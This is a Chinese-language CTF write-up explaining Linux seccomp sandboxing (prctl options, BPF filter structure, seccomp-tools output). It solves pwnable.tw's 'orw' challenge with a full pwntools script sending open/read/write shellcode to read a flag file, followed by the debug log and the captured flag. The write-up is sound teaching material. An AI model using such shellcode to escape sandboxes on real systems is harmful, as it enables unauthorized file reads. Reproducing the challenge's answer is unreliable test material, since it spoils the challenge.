(Linux Kernel)sandbox中的prctl-seccomp机制(orw)

prctl-seccomp简介

seccomp是secure computing的缩写,是一个Linux内核的安全功能,用于限制进程所能进行的系统调用操作。它通过过滤系统调用,仅允许进程进行特定的,事先定义好的操作,从而减少被利用的攻击面和提高系统的安全性。

也可以认为它是一种简洁的sandbox(沙箱、沙盒)机制,可以当作沙箱使用。在编写C语言程序过程中,可以通过引入prctl函数来实现内核级的安全机制;程序编译运行后,相当于进程进入到一种“安全”运行模式。

引入seccomp机制的原因

正常情况下在linux系统里,大量的系统调用(system call)会直接暴露给用户态程序,也就是说程序可以使用所有的syscall,此时如果劫持程序流程通过execve或system来调用syscall就会获得用户态的shelll权限。可以看到并不是所有的系统调用都被需要,不安全的代码滥用系统调用会对系统造成安全威胁。为了防范这种攻击方式,这时的seccomp就派上了用场,在严格模式下的进程只能调用4种系统调用,即read()、write()、exit()、sigreturn(),其它的系统调用都会杀死进程,过滤模式下可以指定允许哪些系统调用,规则是bpf,可以使用seccomp-tools查看。

使用seccomp-tools查看可用系统调用(识别沙箱规则)

附件:pwnable.tw中的orw

执行命令即可查看此ELF文件中可用的系统调用:

1
seccomp-tools dump ./ELF

ELF为要查看的文件

image-20230826182112900

IDA分析题目

看程序伪代码

image-20230826182236627

进入到orw_seccomp函数:

image-20230826182318184

这两个prctl函数就是关键函数。

1
2
prctl(38, 1, 0, 0, 0)
prctl(22, 2, &v1)

prctl函数原型

1
2
3
#include <sys/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

其中有五个参数,重点是第一个参数option。

本意是选择,在这个函数中重点的的两个选项:

1
2
PR_SET_NO_NEW_PRIVS
PR_SET_SECCOMP

如果option设置为PR_SET_NO_PRIVS并且第二个参数(unsigned long arg2)设置为1,那么这个可执行文件不能够进行execve的系统调用(system函数、one_gadget失效,但是其它的系统调用仍可以正常调用),同时这个选项还会继承给子进程。放到prctl函数中就是:

1
prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);	//设为1

在linux下的/usr/include/linux/prctl.h中:

image-20230826184130034

正好对应了前面两个prctl函数中的第一个。

如果option设置为PR_SET_SECCOMP,简单来说就是设置沙箱开启。

常常与PR_SET_SECCOMP在prctl函数中出现的还有两个参数:

1
2
3
4
5
SECCOMP_MODE_STRICT
//允许线程进行唯一的系统调用是read(2),write(2),*exit(2)(但不是exit_group(2)和sigreturn(2))
SECCOMP_MODE_FILTER
//允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。
//这个参数是一个指向struct sock_fprog的指针;它可以设计为过滤任意系统调用和系统调用参数

也就是说如果设置了SECCOMP_MODE_STRICT模式的话,系统调用只能使用read,write,exit这三个。

如果设置了SECCOMP_MODE_FILTER的话,系统调用规则就可以被Berkeley Packet Filter(BPF)的规则所定义。

1
2
3
prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
//第一个参数要进行什么设置,第二个参数是设置为过滤模式,第三个参数就是过滤规则
//PR_SET_SECCOMP:控制程序去是否开启seccomp mode

其中SECCOMP_MODE_FILTER可以用常量表示为2。

回顾之前的:

1
prctl(22, 2, &v1);

其中22对应的就是seccomp mode开启的状态,&v1代表的就是过滤规则。

image-20230826201852601

v1存储的就是设置沙箱规则,从而可以实现改变函数的系统调用(允许或者禁止)。

上方这一部分虽然直接看不懂,但是是和seccomp-tools相对应的。

image-20230826202102571

可以看出,出现的只有open,write,read,sigreturn这四个,也就是说只能使用这四个系统调用.

BPF规则

在chat中的bpf是这样的:

image-20230826202820092

BPF原本是TCP协议包的过滤规则格式,后面被引用为沙箱规则。

简单的说BPF定义了一个伪机器。这个伪机器可以执行代码,有一个累加器+,寄存器(RegA),和赋值、算术、跳转指令。一条指令由一个定义好的结构struct bpf_insn表示,与真正的机器代码很相似,若干个这样的结构组成的数组,就成为BPF的指令序列。

&prog是指向如下结构体的指针,这个结构体记录了过滤规则个数与规则数组起始位置:

1
2
3
4
struct sock_fprog {
unsigned short len; // BPF程序指令的数量
struct sock_filter *filter; // 指向BPF程序指令数组的指针
};

而filter域就指向了具体的规则,每一条规则都有如下形式:

1
2
3
4
5
6
struct sock_filter {
__u16 code; // 操作码
__u8 jt; // 跳转索引
__u8 jf; // 跳转索引
__u32 k; // 常数值
};

下面是一些常量和宏的定义,用于解析和操作BPF指令中的字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* Instruction classes */
#define BPF_CLASS(code) ((code) & 0x07)
#define BPF_LD 0x00 //加载指令,将值cp进寄存器
#define BPF_LDX 0x01 //加载扩展指令
#define BPF_ST 0x02 //存储指令
#define BPF_STX 0x03 //存储扩展指令
#define BPF_ALU 0x04 //算数操作指令
#define BPF_JMP 0x05 //跳转指令
#define BPF_RET 0x06 //返回指令
#define BPF_MISC 0x07 //其它指令

/* ld/ldx fields */
#define BPF_SIZE(code) ((code) & 0x18) //ld时指定操作数大小
#define BPF_W 0x00 /* 32-bit */ //32位
#define BPF_H 0x08 /* 16-bit */ //16位
#define BPF_B 0x10 /* 8-bit */ //8位
/* eBPF BPF_DW 0x18 64-bit */ //64位

#define BPF_MODE(code) ((code) & 0xe0) //宏定义了加载指令的访问模式
#define BPF_IMM 0x00 //立即数
#define BPF_ABS 0x20 //绝对地址
#define BPF_IND 0x40 //间接寻址
#define BPF_MEM 0x60 //内存访问
#define BPF_LEN 0x80 //报文长度
#define BPF_MSH 0xa0 //报文偏移量

/* alu/jmp fields */
#define BPF_OP(code) ((code) & 0xf0) //算数操作指令和跳转指令
#define BPF_ADD 0x00 //加法
#define BPF_SUB 0x10 //减法
#define BPF_MUL 0x20 //乘法
#define BPF_DIV 0x30 //除法
#define BPF_OR 0x40 //按位或
#define BPF_AND 0x50 //按位与
#define BPF_LSH 0x60 //左移
#define BPF_RSH 0x70 //右移
#define BPF_NEG 0x80 //取反
#define BPF_MOD 0x90 //取模
#define BPF_XOR 0xa0 //按位异或

#define BPF_JA 0x00 //等于跳转
#define BPF_JEQ 0x10 //大于跳转
#define BPF_JGT 0x20 //大于等于跳转
#define BPF_JGE 0x30 //和设置位跳转
#define BPF_JSET 0x40
#define BPF_SRC(code) ((code) & 0x08)
#define BPF_K 0x00
#define BPF_X 0x08

看一下规则的写法,首先是BPF_LD,需要用到的结构为:

1
2
3
4
5
6
struct seccomp_data {
__u32 nr; // 系统调用号
__u32 arch; // 架构号
__u64 instruction_pointer; // 指令指针(寄存器值)
__u64 args[6]; // 系统调用参数(寄存器值)
};

其中args是6个寄存器,在32位下是:

1
ebx,ecs,edx,esi,edi,ebp

在64位下是:

1
rdi,rsi,rdx,r10,r8,r9

现在要将syscall时eax的值载入RegA,可以使用:

1
2
BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0)
//这会把偏移0处的值放进寄存器A,读取的是seccomp_data的数据

跳转语句:

1
2
BPF_JUMP(BPF_JMP+BPF_JEQ,59,1,0)
//这回把寄存器A与值k(此处为59)作比较,为真跳过下一条规则,为假不跳转

其中后两个参数代表成功跳转到第几条规则,失败跳转到第几条规则,这是相对偏移。

最后当验证完成需要返回结果,即是否允许:

1
BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL)

过滤的规则列表里可以有多条规则,seccomp会从第0条开始逐条执行,直到遇到BPF_RET返回,决定是否允许该操作以及做某些修改。

总结一下:

  • 结构赋值操作指令为:BPF_STMT,BPF_JUMP
  • BPF的主要指令有:BPF_LD,BPF_ALU,BPF_JMP,BPF_RET等。BPF_LD将数据装入累加器,BPF_ALU对累加器执行算数命令,BPF_JMP是跳转指令,BPF_RET是程序返回指令
  • BPF条件判断跳转指令:BPF_JMP,BPF_JEQ,根据后面的几个参数进行判断,然后跳转到相应的地方
  • 返回指令:BPF_RET,BPF_K,返回后面参数的值

比如本题中的sock_filter结构体说明一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

line1表示这道题需要运行在架构不为i386的机器或环境中,否则直接返回ERROR.

line8表示如果传入的系统调用号为read,则允许执行,否则直接结束进程。

解题步骤

前面分析过,只能使用read,write,open,_exit四个系统调用。

检查文件保护机制

image-20230826213758006

程序只有Canary保护。

image-20230826214007616

输入shellcode,执行。

虽然system和execve都被禁用了,但是读取flag的方法有很多,可以使用open、read、write三个系统调用去读flag,题目也提示了flag保存在/home/orw/flag。

image-20230826214227744

所以这里就需要我们编写一段shellcode。

需要注意的是:

  • 32位程序,应调用int $0x80进入系统调用,将系统调用号传入eax,各个参数按照ebx、ecx、edx的顺序传递到寄存器中,系统调用返回值存储在eax寄存器中。
  • 64位程序,应调用syscall进入系统调用,将系统调用号传入rax,各个参数按照rdi,rsi,rdx的顺序传递到寄存器中,系统调用返回值存储到rax寄存器。

所以此题shellcode编写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*

context(os='linux',arch='i386',log_level='debug')

sh = remote('chall.pwnable.tw',10001)

shellcode_open = 'xor eax,eax;xor ebx,ebx;xor ecx,ecx;xor edx,edx;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;mov eax,0x5;int 0x80;'


shellcode_read = 'mov ebx,eax;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x3;int 0x80;'

shellcode_write = 'mov ebx,0x1;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x4;int 0x80;'


shellcode = shellcode_open+shellcode_read+shellcode_write

sh.recvuntil('Give my your shellcode:')

sh.sendline(asm(shellcode))
print sh.recv()

sh.interactive()



'''
xor eax,eax 清空需要用到的寄存器
xor ebx,ebx
xor ecx,ecx
xor edx,edx

fd = open('/home/orw/flag',0)

push 0x00006761 "home/orw/flag"的十六进制
push 0x6c662f77 "home/orw/flag"的十六进制
push 0x726f2f65 "home/orw/flag"的十六进制
push 0x6d6f682f "home/orw/flag"的十六进制
mov ebx,esp const char __user *filename
mov eax,0x5 open函数的系统调用号:sys_open
int 0x80

read(fd,bss+0x200,0x40)

mov ebx,eax ;int fd
mov ecx,0x0804A260 ;void *buf
mov edx,0x40 ;size_t count
mov eax,0x3 ;read函数的系统调用:sys_read
int 0x80

write(1,bss+0x200,0x40)
mov ebx,0x1 ;int fd=1(标准输出stdout)(0 标准输入,1 标准输出,2 标准错误输出)
mov ecx,0x0804A260 ;void *buf
mov edx,0x40 ;size_t count
mov eax,0x4 ;read函数的系统调用:sys_write
int 0x80
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
zhuyuan@zhuyuan-vm:~/pwn/sandbox$ python exp.py
[+] Opening connection to chall.pwnable.tw on port 10001: Done
[DEBUG] Received 0x17 bytes:
'Give my your shellcode:'
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python2.7/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
xor eax,eax;xor ebx,ebx;xor ecx,ecx;xor edx,edx;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x3;int 0x80;mov ebx,0x1;mov ecx,0x0804A260;mov edx,0x40;mov eax,0x4;int 0x80;
[DEBUG] /usr/bin/x86_64-linux-gnu-as -32 -o /tmp/pwn-asm-zcjx0I/step2 /tmp/pwn-asm-zcjx0I/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-zcjx0I/step3 /tmp/pwn-asm-zcjx0I/step4
[DEBUG] Sent 0x4f bytes:
00000000 31 c0 31 db 31 c9 31 d2 68 61 67 00 00 68 77 2f │1·1·│1·1·│hag·│·hw/│
00000010 66 6c 68 65 2f 6f 72 68 2f 68 6f 6d 89 e3 b8 05 │flhe│/orh│/hom│····│
00000020 00 00 00 cd 80 89 c3 b9 60 a2 04 08 ba 40 00 00 │····│····│`···│·@··│
00000030 00 b8 03 00 00 00 cd 80 bb 01 00 00 00 b9 60 a2 │····│····│····│··`·│
00000040 04 08 ba 40 00 00 00 b8 04 00 00 00 cd 80 0a │···@│····│····│···│
0000004f
[DEBUG] Received 0x40 bytes:
00000000 46 4c 41 47 7b 73 68 33 6c 6c 63 30 64 69 6e 67 │FLAG│{sh3│llc0│ding│
00000010 5f 77 31 74 68 5f 6f 70 33 6e 5f 72 33 34 64 5f │_w1t│h_op│3n_r│34d_│
00000020 77 72 69 74 33 7d 0a 00 00 00 00 00 00 00 00 00 │writ│3}··│····│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000040
FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$